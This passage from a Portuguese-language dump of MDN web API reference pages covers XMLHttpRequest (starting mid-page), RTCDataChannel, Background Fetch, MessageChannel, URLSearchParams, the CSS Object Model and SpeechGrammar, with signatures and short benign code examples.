SeaMonkey 2.8), Gecko não permite que você use os\n atributos withCredentials ao realizar solicitações síncronas. Ao\n tentar fazer isso o sistema gera uma exceção do tipo\n NS\\_ERROR\\_DOM\\_INVALID\\_ACCESS\\_ERR.\n  |\n\n### Propriedades não-padrão\n\n| Attribute | Type | Description |\n| --- | --- | --- |\n| `channel` Somente leitura  | `nsIChannel` | \n O canal utilizado pelo objecto aquando da execução do pedido. Esta é\n null se o canal não foi criado ainda. No caso de um pedido de múltiplas\n partes, isto é o canal inicial, não as diferentes partes do pedido de\n várias partes.\n **Requer privilégios elevados para o acesso.** |\n| `mozAnon` Somente leitura  | `boolean` | \n Se for verdadeiro (true) o pedido será enviado sem cabeçalhos de\n cookies e autenticação.\n  |\n| `mozSystem` Somente leitura  | `boolean` | \n Se for verdadeiro (true) , a política de mesma origem não será\n aplicada sobre o pedido.\n  |\n| `mozBackgroundRequest` | `boolean` | \n Indica se o objeto representa uma solicitação de serviço de fundo. Se\n true , nenhum grupo carga está associada com o pedido, e diálogos de\n segurança estão impedidos de ser mostrado para o usuário.\n **Requer privilégios elevados para o acesso.**\n\n Nos casos em que uma caixa de diálogo de segurança (como a\n autenticação ou uma notificação certificado ruim) normalmente seriam\n mostrados, o pedido simplesmente falhar em seu lugar.\n\n\n**Nota:** Esta propriedade deve ser definida antes de\n chamar open().\n  |\n| `mozResponseArrayBuffer`\nSomente leitura  | `ArrayBuffer` | \n A resposta ao pedido, como uma matriz de JavaScript digitado. Esta é\n NULL se o pedido não foi bem-sucedida, ou se não foi enviada ainda.\n  |\n| `multipart` | `boolean` | \n**Este Gecko somente recurso foi removido no Firefox / Gecko\n22.**\n Por favor Utilize\n Server-Sent Events (en-US),\n Web Sockets\n ou `responseText` de eventos de progresso em seu lugar.\n\n\n Indica se ou não a resposta está prevista para ser uma corrente de,\n possivelmente, vários documentos XML. Se definido como true , o tipo\n de conteúdo da resposta inicial deve ser multipart/x-mixed-replace ou\n ocorrerá um erro. Todos os pedidos devem ser assíncrona.\n\n\n Isso permite o suporte para servidor push; para cada documento XML que\n está escrito a este pedido, um novo documento XML DOM é criado eo\n onload manipulador é chamado entre os documentos.\n\n\n**Nota:** Quando este estiver definido, o onload\n manipulador e outros manipuladores de eventos não são repostas após a\n primeira XmlDocument é carregado, eo onload manipulador é chamado após\n cada parte da resposta é recebida.\n  |\n\nConstrutor\n----------\n\n### XMLHttpRequest()\n\nO construtor inicia um XMLHttpRequest. Ele deve ser chamado antes de quaisquer outras chamadas de método.\n\nGecko/Firefox 16 acrescenta um parâmetro não-padrão para o construtor que pode ativar o modo anônimo (veja Bug 692677). Definir o mozAnon bandeira de true eficácia se assemelha a `AnonXMLHttpRequest()` construtor descrito na especificação XMLHttpRequest que não tenha sido implementado em qualquer navegador ainda (em setembro de 2012).\n```\n\nXMLHttpRequest (\n  JSObject objParameters\n);\n```\n\n\n##### Parâmetros (não-padrão)\n\n`objParameters`\n\nHá dois sinalizadores que você pode definir:\n\n`mozAnon`\n\nBoolean: Definir esse sinalizador de true fará com que o navegador para não expor a origem e as credenciais do usuário ao buscar recursos. Mais importante, isto significa que os cookies não será enviado a menos que explicitamente adicionado usando setRequestHeader.\n\n`mozSystem`\n\nBoolean: Definir esse sinalizador de true . permite fazer conexões entre sites sem a necessidade de o servidor para opt-in usando CORS requer a configuração mozAnon: true . Ou seja, este não pode ser combinada com o envio de cookies ou outras credenciais do usuário. Isso\\* só funciona em privilegiados (revisto) Apps;ele não funciona em páginas da web arbitrários carregados no Firefox.\\*\n\n\nMétodos\n-------\n\n### abort()\n\nAborta o pedido, se já foi enviada.\n\n### getAllResponseHeaders()\n```\n\nDOMString getAllResponseHeaders();\n```\n\n\nRetorna todos os cabeçalhos de resposta como uma string, ou null se nenhuma resposta foi recebida. **Nota:** Para os pedidos de várias partes, isso retorna os cabeçalhos da parte atual da solicitação, não a partir do canal original.\n\n### getResponseHeader()\n```\n\nDOMString? getResponseHeader(DOMString header);\n```\n\n\nRetorna a string contendo o texto do cabeçalho especificado, ou null se quer a resposta ainda não foi recebida ou o cabeçalho não existe na resposta.\n\n### open()\n\nInicializa um pedido. Este método é para ser usado a partir do código JavaScript; para inicializar um pedido do código nativo, use `openRequest()` em seu lugar.\n\n**Nota:** Chamar esse método uma solicitação já está ativo (aquele para o qual open() ou openRequest() já foi chamado) é o equivalente de chamar abort().\n```\n\nvoid open(\n   DOMString method,\n   DOMString url,\n   optional boolean async,\n   optional DOMString user,\n   optional DOMString password\n);\n```\n\n\n###### Parameters\n\n`method`\n\nO método HTTP para usar, como \"GET\", \"POST\", \"PUT\", \"DELETE\", etc. ignorado para URLs não-HTTP (S).\n\n`url`\n\nO URL para o qual enviar a solicitação.\n\n`async`\n\nUm parâmetro booleano opcional, por padrão true , indicando se a operação deve ou não ser executada de forma assíncrona. Se esse valor for false , o send() método não retorna até que a resposta seja recebida. Se true , a notificação de uma transação concluída é fornecida usando ouvintes de evento. Isso deve ser true se o multipart atributo for true , ou uma exceção será lançada.\n\n`user`\n\nO nome de usuário opcional para usar para fins de autenticação; por padrão, essa é uma seqüência vazia.\n\n`password`\n\nA senha opcional para usar para fins de autenticação; por padrão, essa é uma seqüência vazia.\n\n### overrideMimeType()\n\nSubstitui o tipo de MIME retornado pelo servidor. Isto pode ser utilizado, por exemplo, para forçar uma corrente a ser tratada e analisada como text/xml, mesmo que o servidor não relatam como método. Este método deve ser chamado antes send() .\n```\n\nvoid overrideMimeType(DOMString mimetype);\n```\n\n### send()\n\nEnvia a solicitação. Se o pedido é assíncrono (que é o padrão), este método retorna assim que o pedido for enviado. Se o pedido é síncrono, este método não retorna até a resposta chegar.\n\n**Nota:** Qualquer ouvintes de eventos que pretende definir tem de ser definida antes de chamar send().\n```\n\nvoid send();\nvoid send(ArrayBuffer data);\nvoid send(Blob data);\nvoid send(Document data);\nvoid send(DOMString? data);\nvoid send(FormData data);\n```\n\n\n###### Notas\n\nSe os dados são um Document , ele é serializado antes de serem enviados. Ao enviar um documento, as versões do Firefox antes da versão 3 sempre enviavam a solicitação usando codificação UTF-8; Firefox 3 envia corretamente o documento usando a codificação especificada por body.xmlEncoding , ou UTF-8 se nenhum encoding é especificado.\n\nSe são uma nsIInputStream , deve ser compatível com nsIUploadChannel 's setUploadStream() método. Nesse caso, um cabeçalho Content-Length é adicionado ao pedido, com o seu valor obtido usando nsIInputStream 's available() método. Quaisquer cabeçalhos incluídos na parte superior da corrente são tratados como parte do corpo da mensagem. MIMEType da transmissão deve ser especificado definindo o cabeçalho Content-Type usando o `setRequestHeader()` método antes de chamar send().\n\nA melhor maneira de enviar conteúdo binário (como em arquivos de upload) está usandoArrayBuffers (en-US) ou Blobs (en-US) em conjuncton com o send() método. No entanto, se você quiser enviar uma stringifiable (en-US) dados brutos, use o `sendAsBinary()` método em vez disso.\n\n### setRequestHeader()\n\nDefine o valor de uma solicitação HTTP header. Você deve chamar setRequestHeader() após open() , mas antes de send().\n```\n\nvoid setRequestHeader(\n   DOMString header,\n   DOMString value\n);\n```\n\n\n###### Parametros\n\n`header`\n\nO nome do cabeçalho cujo valor deve ser definido.\n\n`value`\n\nO valor definido como o corpo do cabeçalho.\n\n### Métodos não-padrão\n\n#### init()\n\nInicializa o objeto para uso a partir do código C ++.\n\n**Aviso:** **Nota:** Este método não deve ser chamado a partir do JavaScript.\n```\n\n[noscript] void init(\n   in nsIPrincipal principal,\n   in nsIScriptContext scriptContext,\n   in nsPIDOMWindow ownerWindow\n);\n```\n\n\n##### Parametros\n\n`principal`\n\nO principal a ser usado para o pedido; não deve ser null.\n\n`scriptContext`\n\nO contexto de script a ser usada para o pedido; não deve ser null.\n\n`ownerWindow`\n\nA janela associada com o pedido; pode ser `null`.\n\n#### openRequest()\n\nInicializa um pedido. Este método é para ser usado a partir do código nativo; para inicializar um pedido do código JavaScript, usar `open() em seu lugar. Consulte a documentação do open() .`\n\n#### sendAsBinary()\n\nUma variante do send() método que envia dados binários.\n```\n\nvoid sendAsBinary(\n   in DOMString body\n);\n```\n\n\nEste método, usado em conjuncton com o `readAsBinaryString` (en-US) método do `FileReader` (en-US) API tornar possível read and **upload** any type of file (en-US) e para stringify (en-US) os dados brutos.\n\n##### Parametros\n\n`body`\n\nO corpo da solicitação como um DOMString. Estes dados poderão ser convertidos para uma seqüência de caracteres de byte único por truncamento (removendo o byte de mais alta ordem de cada personagem).\n\n##### `sendAsBinary()` polyfill\n\nDesde sendAsBinary() é um recurso experimental, aqui está uma polyfill para navegadores que não suportam o sendAsBinary() método, mas o apoio typed arrays (en-US).\n\n\n```js\n/\\*\\\n|\\*|\n|\\*| :: XMLHttpRequest.prototype.sendAsBinary() Polifyll ::\n|\\*|\n|\\*| https://developer.mozilla.org/pt-BR/docs/DOM/XMLHttpRequest#sendAsBinary()\n|\\*|\n\\\\*/\n\nif (!XMLHttpRequest.prototype.sendAsBinary) {\n  XMLHttpRequest.prototype.sendAsBinary = function (sData) {\n    var nBytes = sData.length,\n      ui8Data = new Uint8Array(nBytes);\n    for (var nIdx = 0; nIdx < nBytes; nIdx++) {\n      ui8Data[nIdx] = sData.charCodeAt(nIdx) & 0xff;\n    }\n    /\\* send as ArrayBufferView...: \\*/\n    this.send(ui8Data);\n    /\\* ...or as ArrayBuffer (legacy)...: this.send(ui8Data.buffer); \\*/\n  };\n}\n```\n\n\n**Nota:** É possível construir este polyfill colocar dois tipos de dados como argumento para send() : um `ArrayBuffer` (en-US) (ui8Data.buffer - o código comentado) ou um ArrayBufferView ( ui8Data , que é uma typed array of 8-bit unsigned integers (en-US) – descomentada código). No entanto, no Google Chrome, quando você tenta enviar uma ArrayBuffer , a seguinte mensagem de aviso aparecerá: ArrayBuffer is deprecated in XMLHttpRequest.send(). Use ArrayBufferView instead. ArrayBuffer is deprecated in XMLHttpRequest.send(). Use ArrayBufferView instead.\n\nNotas\n-----\n\n* Por padrão, o Firefox 3 limita o número de XMLHttpRequest conexões por servidor a 6 (versões anteriores limitar esta para 2 por servidor). Alguns sites interativos podem manter um XMLHttpRequest conexão aberta, de modo que a abertura de várias sessões para esses sites pode resultar no navegador pendurado de tal forma que a janela já não repaints e controles não respondem. Este valor pode ser alterado através da edição do network.http.max-persistent-connections-per-server preferência no `about:config`.\n* Do Gecko 7 cabeçalhos estabelecidos pela setRequestHeader asão enviados com o pedido, quando na sequência de um redirecionamento. Anteriormente, estes cabeçalhos não iria ser enviado.\n* `XMLHttpRequest é implementado em Gecko usando os` `nsIXMLHttpRequest`, `nsIXMLHttpRequestEventTarget`, e `nsIJSXMLHttpRequest` interfaces.\n\n#### Eventos\n\n`onreadystatechange` como uma propriedade do `XMLHttpRequest` instância é suportado em todos os navegadores.\n\nDesde então, foram implementadas uma série de manipuladores de eventos adicionais em vários navegadores ( onload , onerror , onprogress , etc.). Estes são suportados no Firefox. Em particular, veja `nsIXMLHttpRequestEventTarget` and Using XMLHttpRequest.\n\navegadores mais recentes, incluindo o Firefox, também suporta ouvir as XMLHttpRequest eventos via padrão `addEventListener` APIs Além de definir on propriedades para uma função de manipulador.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| XMLHttpRequest Standard # interface-xmlhttprequest |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* MDN artigos sobre XMLHttpRequest:\n    + AJAX - Getting Started\n    + Using XMLHttpRequest\n    + HTML in XMLHttpRequest\n    + `FormData`\n* XMLHttpRequest referencias da W3C e navegador fornecedores:\n    + W3C: XMLHttpRequest (base features)\n    + W3C: XMLHttpRequest (latest editor's draft with extensions to the base functionality, formerly XMLHttpRequest Level 2\n    + Microsoft documentation\n    + Apple developers' reference\n* \"Using the XMLHttpRequest Object\" (jibbering.com)\n* XMLHttpRequest - REST and the Rich User Experience\n* HTML5 Rocks - New Tricks in XMLHttpRequest2"}
{"title":"RTCDataChannel - APIs da Web","text":"RTCDataChannel\n==============\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA interface RTCDataChannel representa um canal de rede que pode ser usado para transferências bidirecionais de dados arbitrários de ponto a ponto. Todo canal de dados está associado a `RTCPeerConnection` (en-US), e cada conexão de pares pode ter até um máximo teórico de 65,534 canais de dados (o limite real pode variar de navegador para navegador).\n\nPara criar um canal de dados e pedir a um ponto remoto para se juntar a você, chame os metodos `RTCPeerConnection` (en-US)'s `createDataChannel()` (en-US). O interlocutor que está sendo convidado a trocar dados recebe um evento `datachannel` (que possui o tipo `RTCDataChannelEvent` (en-US)) para informá-lo de que o canal de dados foi adicionado à conexão.\n\nExemplo\n-------\n\n\n```js\nvar pc = new RTCPeerConnection();\nvar dc = pc.createDataChannel(\"my channel\");\n\ndc.onmessage = function (event) {\n  console.log(\"received: \" + event.data);\n};\n\ndc.onopen = function () {\n  console.log(\"datachannel open\");\n};\n\ndc.onclose = function () {\n  console.log(\"datachannel close\");\n};\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| WebRTC: Real-Time Communication in Browsers # rtcdatachannel |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* WebRTC (en-US)"}
{"title":"Background Fetch API - APIs da Web","text":"Background Fetch API\n====================\n\nLimited availability\n--------------------\n\nThis feature is not Baseline because it does not work in some of the most widely-used browsers.\n\n* Learn more\n* See full compatibility\n* Report feedback\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA **Background Fetch API** fornece um método para gerenciar downloads que podem demandar um tempo significativo como filmes, arquivos de áudio e software.\n\nConceitos e uso\n---------------\n\nQuando uma aplicação web exige que o usuário faça downloads de arquivos grandes, geralmente cria-se um problema pois o usuário precisa ficar conectado o tempo todo para que o download termine. Se o usuário perde a conexão, fecha a tab ou sai da página o download para.\n\nA `Background Synchronization API` (en-US) fornece uma maneira para os service workers adiarem o processamento até que um usuário esteja conectado; De toda forma, essa API não pode ser usada para tarefas que podem demorar, como fazer o download de um arquivo grande. A Background sync exige que o service worker esteja ativo até que o fetch seja completado, e para preservar bateria ou para prevenir que tasks indesejadas aconteçam em background o browser irá em algum momento parar a execução da tarefa.\n\nA Background Fetch API resolve esse problema. Ela cria uma maneira do desenvolverdor web pedir ao browser que o mesmo faça chamadas em background, por exemplo quando o usuário clica em um botão para fazer o download de um arquivo de vídeo. O browser irá fazer o download de uma maneira visível ao usuário, mostrando o progresso do download e expondo ao usuário uma maneira de cancelar o mesmo. Quando o download termina, o browser irá abrir o service worker e nesse momento a aplicação pode fazer algo com o resultado se necessário.\n\nA Background Fetch API permitirá que a chamada aconteça mesmo se o usuário inicie o processo estando desconectado. Uma vez que o usuário se conecta novamente o download irá iniciar. Se o usuário volta a ficar desconectado, o processo irá pausar até que a conexão volte.\n\nInterfaces\n----------\n\n`BackgroundFetchManager` (en-US)\n\nUm map onde as chaves são background fetch IDS e os valores são `BackgroundFetchRegistration` (en-US) objetos.\n\n`BackgroundFetchRegistration` (en-US)\n\nRepresenta a Background Fetch.\n\n`BackgroundFetchRecord` (en-US)\n\nRepresenta uma fetch request e responde isolada.\n\n`BackgroundFetchEvent` (en-US)\n\nO tipo de evento passo para `onbackgroundfetchabort` e `onbackgroundfetchclick`.\n\n`BackgroundFetchUpdateUIEvent` (en-US)\n\nO tipo de evento passado para `onbackgroundfetchsuccess` e `onbackgroundfetchfail`.\n\nExemplos\n--------\n\nAntes de usar Background Fetch, verifique o suporte do navegador.\n\n\n```js\nif (!(\"BackgroundFetchManager\" in self)) {\n  // executar um fallback para o download.\n}\n```\n\n\n Para usar a Background Fetch é necessário que um service worker esteja registrado. Então podemos chamar\n `backgroundFetch.fetch()` para executar o fetch. Essa chamada retorna uma promise que resolve com uma `BackgroundFetchRegistration` (en-US).\n\nA background fetch pode baixar vários arquivos. No nosso exemplo buscamos um MP3 e um JPEG. Isso permite que um pacote de arquivos que o usuário vê como um item (por exemplo, um podcast e uma arte) sejam baixados juntos.\n\n\n```js\nnavigator.serviceWorker.ready.then(async (swReg) => {\n  const bgFetch = await swReg.backgroundFetch.fetch(\n    \"my-fetch\",\n    [\"/ep-5.mp3\", \"ep-5-artwork.jpg\"],\n    {\n      title: \"Episódio 5: Coisas interessantes.\",\n      icons: [\n        {\n          sizes: \"300x300\",\n          src: \"/ep-5-icon.png\",\n          type: \"image/png\",\n        },\n      ],\n      downloadTotal: 60 \\* 1024 \\* 1024,\n    },\n  );\n});\n```\n\n\nVocê pode ver uma aplicação demo que implementa a Background fetch aqui.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Background Fetch  |\n\nCompatibilidade com navegadores\n-------------------------------\n\n### api.BackgroundFetchManager\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### api.BackgroundFetchRegistration\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\n### api.BackgroundFetchRecord\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Introdução a Background Fetch\n* Background Fetch - HTTP 203"}
{"title":"MessageChannel - APIs da Web","text":"MessageChannel\n==============\n\nA interface **`MessageChannel`** da API Channel Messaging (en-US) nos permite criar um novo canal de mensagem e enviar os dados através de suas duas propriedades `MessagePort` (en-US).\n\n**Note:** This feature is available in Web Workers\n\nPropriedades\n------------\n\n`MessageChannel.port1` (en-US) Somente leitura \n\nRetorna port1 do canal.\n\n`MessageChannel.port2` (en-US) Somente leitura \n\nRetorna port2 do canal.\n\nConstrutor\n----------\n\n`MessageChannel()` (en-US)\n\nRetorna um novo objeto `MessageChannel` com dois novos objetos `MessagePort` (en-US).\n\nExemplo\n-------\n\nNo seguinte bloco de codigo, você pode ver um novo canal sendo criado usando o construtor `MessageChannel()` (en-US). Quando o `<iframe>` tiver carregado, nos passamos o `MessageChannel.port2` (en-US) para o `<iframe>` usando `MessagePort.postMessage` juntamente com uma mensagem. O manipulador `handleMessage` então reponde à mensagem que foi enviada de volta do `<iframe>` (using `MessagePort.onmessage` (en-US)), colocando-o em um parágrafo.\n\n\n```js\nvar channel = new MessageChannel();\nvar para = document.querySelector(\"p\");\n\nvar ifr = document.querySelector(\"iframe\");\nvar otherWindow = ifr.contentWindow;\n\nifr.addEventListener(\"load\", iframeLoaded, false);\n\nfunction iframeLoaded() {\n  otherWindow.postMessage(\"Hello from the main page!\", \"\\*\", [channel.port2]);\n}\n\nchannel.port1.onmessage = handleMessage;\nfunction handleMessage(e) {\n  para.innerHTML = e.data;\n}\n```\n\n\nPara um exemplo completo, veja nosso channel messaging basic demo no Github (rode online também ).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| HTML Standard # message-channels |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Using channel messaging (en-US)"}
{"title":"URLSearchParams - APIs da Web","text":"URLSearchParams\n===============\n\nA interface **`URLSearchParams`** define métodos utilitários para trabalhar com os parâmetros de uma URL.\n\nUm objeto que implementa `URLSearchParams` pode ser usado diretamente em uma estrutura `for...of` para iterar sobre pares chave/valor na mesma ordem em que elas aparecem nos parâmetros, por exemplo as linhas a seguir são equivalentes:\n\n\n```js\nfor (const [key, value] of mySearchParams) {\n}\nfor (const [key, value] of mySearchParams.entries()) {\n}\n```\n\n\n**Note:** This feature is available in Web Workers\n\nConstrutor\n----------\n\n`URLSearchParams()` (en-US)\n\nRetorna uma instância do objeto `URLSearchParams`.\n\nMétodos\n-------\n\n`URLSearchParams.append()` (en-US)\n\nAdiciona o par chave/valor especificado como um novo parâmetro de busca.\n\n`URLSearchParams.delete()` (en-US)\n\nExclui o parâmetro de pesquisa fornecido e seu valor associado da lista de todos os parâmetros de pesquisa.\n\n`URLSearchParams.entries()` (en-US)\n\nRetorna um `iterator` permitindo a iteração através de todos os pares de chave/valor contidos neste objeto na mesma ordem em que aparecem na string de consulta.\n\n`URLSearchParams.forEach()` (en-US)\n\nPermite a iteração através de todos os valores contidos neste objeto por meio de uma função de retorno de chamada.\n\n`URLSearchParams.get()`\n\nRetorna o primeiro valor associado ao parâmetro de pesquisa fornecido.\n\n`URLSearchParams.getAll()` (en-US)\n\nRetorna todos os valores associados a um determinado parâmetro de pesquisa.\n\n`URLSearchParams.has()` (en-US)\n\nRetorna um valor booleano indicando se tal parâmetro existe.\n\n`URLSearchParams.keys()` (en-US)\n\nRetorna um `iterator` permitindo a iteração através de todas as chaves dos pares chave/valor contidos neste objeto.\n\n`URLSearchParams.set()` (en-US)\n\nDefine o valor associado a um determinado parâmetro de pesquisa para o valor fornecido. Se houver vários valores, os demais serão excluídos.\n\n`URLSearchParams.sort()` (en-US)\n\nOrdena todos os pares de chave/valor, se houver, por suas chaves.\n\n`URLSearchParams.toString()` (en-US)\n\nRetorna uma string contendo uma string de consulta adequada para uso em uma URL.\n\n`URLSearchParams.values()`\n\nRetorna um `iterator` permitindo a iteração através de todos os valores dos pares chave/valor contidos neste objeto.\n\nExemplos\n--------\n\n\n```js\nconst paramsString = \"q=URLUtils.searchParams&topic=api\";\nconst searchParams = new URLSearchParams(paramsString);\n\n// Iterando os parâmetros de pesquisa\nfor (const p of searchParams) {\n  console.log(p);\n}\n\nconsole.log(searchParams.has(\"topic\")); // true\nconsole.log(searchParams.get(\"topic\") === \"api\"); // true\nconsole.log(searchParams.getAll(\"topic\")); // [\"api\"]\nconsole.log(searchParams.get(\"foo\") === null); // true\nconsole.log(searchParams.append(\"topic\", \"webdev\"));\nconsole.log(searchParams.toString()); // \"q=URLUtils.searchParams&topic=api&topic=webdev\"\nconsole.log(searchParams.set(\"topic\", \"More webdev\"));\nconsole.log(searchParams.toString()); // \"q=URLUtils.searchParams&topic=More+webdev\"\nconsole.log(searchParams.delete(\"topic\"));\nconsole.log(searchParams.toString()); // \"q=URLUtils.searchParams\"\n```\n\n\n\n```js\n// Os parâmetros de pesquisa também podem ser objetos\nconst paramsObj = { foo: \"bar\", baz: \"bar\" };\nconst searchParams = new URLSearchParams(paramsObj);\n\nconsole.log(searchParams.toString()); // \"foo=bar&baz=bar\"\nconsole.log(searchParams.has(\"foo\")); // true\nconsole.log(searchParams.get(\"foo\")); // \"bar\"\n```\n\n### Parâmetros de pesquisa duplicados\n\n\n```js\nconst paramStr = \"foo=bar&foo=baz\";\nconst searchParams = new URLSearchParams(paramStr);\n\nconsole.log(searchParams.toString()); // \"foo=bar&foo=baz\"\nconsole.log(searchParams.has(\"foo\")); // true\nconsole.log(searchParams.get(\"foo\")); // bar, somente o primeiro valor\nconsole.log(searchParams.getAll(\"foo\")); // [\"bar\", \"baz\"]\n```\n\n### Sem análise de URL\n\nO construtor `URLSearchParams` *não* analisa URLs completas. No entanto, ele retirará um `?` inicial inicial de uma string, se presente.\n\n\n```js\nconst paramsString1 = \"http://example.com/search?query=%40\";\nconst searchParams1 = new URLSearchParams(paramsString1);\n\nconsole.log(searchParams1.has(\"query\")); // false\nconsole.log(searchParams1.has(\"http://example.com/search?query\")); // true\n\nconsole.log(searchParams1.get(\"query\")); // null\nconsole.log(searchParams1.get(\"http://example.com/search?query\")); // \"@\" (equivalente a decodeURIComponent('%40'))\n\nconst paramsString2 = \"?query=value\";\nconst searchParams2 = new URLSearchParams(paramsString2);\nconsole.log(searchParams2.has(\"query\")); // true\n\nconst url = new URL(\"http://example.com/search?query=%40\");\nconst searchParams3 = new URLSearchParams(url.search);\nconsole.log(searchParams3.has(\"query\")); // true\n```\n\n### Preservando os sinais de adição\n\nO construtor `URLSearchParams` interpreta sinais de adição (`+`) como espaços, o que pode causar problemas.\n\n\n```js\nconst rawData = \"\\x13à\\x17@\\x1F\\x80\";\nconst base64Data = btoa(rawData); // 'E+AXQB+A'\n\nconst searchParams = new URLSearchParams(`bin=${base64Data}`); // 'bin=E+AXQB+A'\nconst binQuery = searchParams.get(\"bin\"); // 'E AXQB A', '+' são substituídos por espaços\n\nconsole.log(atob(binQuery) === rawData); // false\n```\n\n\nVocê pode evitar isso codificando os dados com o `encodeURIComponent()`.\n\n\n```js\nconst rawData = \"\\x13à\\x17@\\x1F\\x80\";\nconst base64Data = btoa(rawData); // 'E+AXQB+A'\nconst encodedBase64Data = encodeURIComponent(base64Data); // 'E%2BAXQB%2BA'\n\nconst searchParams = new URLSearchParams(`bin=${encodedBase64Data}`); // 'bin=E%2BAXQB%2BA'\nconst binQuery = searchParams.get(\"bin\"); // 'E+AXQB+A'\n\nconsole.log(atob(binQuery) === rawData); // true\n```\n\n### Valor vazio vs. nenhum valor\n\n`URLSearchParams` não distingue entre parâmetros com nada após o `=` e um parâmetro que não possui um `=`.\n\n\n```js\nconst emptyVal = new URLSearchParams(\"foo=&bar=baz\");\nconsole.log(emptyVal.get(\"foo\")); // retorna ''\nconst noEquals = new URLSearchParams(\"foo&bar=baz\");\nconsole.log(noEquals.get(\"foo\")); // também retorna ''\nconsole.log(noEquals.toString()); // 'foo=&bar=baz'\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| URL Standard # urlsearchparams |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Polyfill de `URLSearchParams` no `core-js`\n* A interface `URL`.\n* Google Developers: Manipulação de URL fácil com URLSearchParams"}
{"title":"CSS Object Model - APIs da Web","text":"CSS Object Model\n================\n\nO CSS Object Model é um conjunto de APIs que permite manipular o CSS através do JavaScript. Isto depende do DOM e da HTML APIs. Com isto é permitido a leitura e a modificação dos estilos CSS dinamicamente.\n\nReferências\n-----------\n\n* `AnimationEvent`\n* `CaretPosition` (en-US)\n* `CSS`\n* `CSSCharsetRule`\n* `CSSConditionRule` (en-US)\n* `CSSCounterStyleRule` (en-US)\n* `CSSFontFaceRule` (en-US)\n* `CSSFontFeatureValuesMap`\n* `CSSFontFeatureValuesRule` (en-US)\n* `CSSGroupingRule` (en-US)\n* `CSSImportRule` (en-US)\n* `CSSKeyframeRule` (en-US)\n* `CSSKeyframesRule` (en-US)\n* `CSSMarginRule`\n* `CSSMediaRule` (en-US)\n* `CSSNamespaceRule` (en-US)\n* `CSSPageRule` (en-US)\n* `CSSRule` (en-US)\n* `CSSRuleList` (en-US)\n* `CSSStylesheet` (en-US)\n* `CSSStyleDeclaration` (en-US)\n* `CSSSupportsRule` (en-US)\n* `CSSVariablesMap`\n* `CSSViewportRule`\n* `ElementCSSInlineStyle` (en-US)\n* `GeometryUtils`\n* `GetStyleUtils`\n* `LinkStyle` (en-US)\n* `MediaList` (en-US)\n* `MediaQueryList` (en-US)\n* `PseudoElement`\n* `Screen` (en-US)\n* `Stylesheet` (en-US)\n* `StylesheetList` (en-US)\n* `TransitionEvent` (en-US)\n\nOutras interfaces podem ser usadas com CSSOM:\n\n`Document`, `Window`, `Element`, `HTMLElement` (en-US), `HTMLImageElement` (en-US), `Range` (en-US), `MouseEvent`, and `SVGElement` (en-US).\n\nTutoriais\n---------\n\n* Determinando dimensões de elementos (en-US) (É necessário algumas atualizações, já que foi feito com DHTML/Ajax).\n* Gerenciando as orientações da tela (en-US)\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| CSS Object Model (CSSOM)  |\n| CSSOM View Module  |\n| CSS Typed OM Level 1  |\n\nNotas de compatibilidade do navegador\n-------------------------------------\n\nTodos esses recursos foram adicionados pouco a pouco ao logo dos anos para os diferentes navegadores: Foi um processo bastante complexo que não podem ser sintetizados em uma simples tabela. Por favor, pesquise por uma interface específica e sua disponibilidade."}
{"title":"SpeechGrammar - APIs da Web","text":"SpeechGrammar\n=============\n\n**Experimental:** **Esta é uma tecnologia experimental (en-US)**  \nVerifique a tabela de compatibilidade entre Navegadores cuidadosamente antes de usar essa funcionalidade em produção.\n\nA interface **`SpeechGrammar`** da Web Speech API (en-US) representa um conjunto de palavras ou padrões de palavras, os quais, nós queremos que o serviço de reconhecimento reconheça.\n\nA gramática é definida usando JSpeech Grammar Format (**JSGF**.) Outros formatos podem ser suportados no futuro.\n\nConstrutor\n----------\n\n`SpeechGrammar.SpeechGrammar()` (en-US)\n\nCria um novo objeto `SpeechGrammar`.\n\nPropriedades\n------------\n\n`SpeechGrammar.src` (en-US)\n\nDefine e retorna a string contendo a gramática contida na instância do objeto `SpeechGrammar`.\n\n`SpeechGrammar.weight` (en-US) Optional\n\nDefine e retorna o peso do objeto `SpeechGrammar`.\n\nExemplos\n--------\n\n\n```js\nvar grammar =\n  \"#JSGF V1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;\";\nvar recognition = new SpeechRecognition();\nvar speechRecognitionList = new SpeechGrammarList();\nspeechRecognitionList.addFromString(grammar, 1);\nrecognition.grammars = speechRecognitionList;\n\nconsole.log(speechRecognitionList[0].src); // deveria retornar o mesmo conteúdo da variável grammar\nconsole.log(speechRecognitionList[0].weight); // deveria retornar 1 - o mesmo peso definido na linha 4.\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| Web Speech API # speechreco-speechgrammar |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja 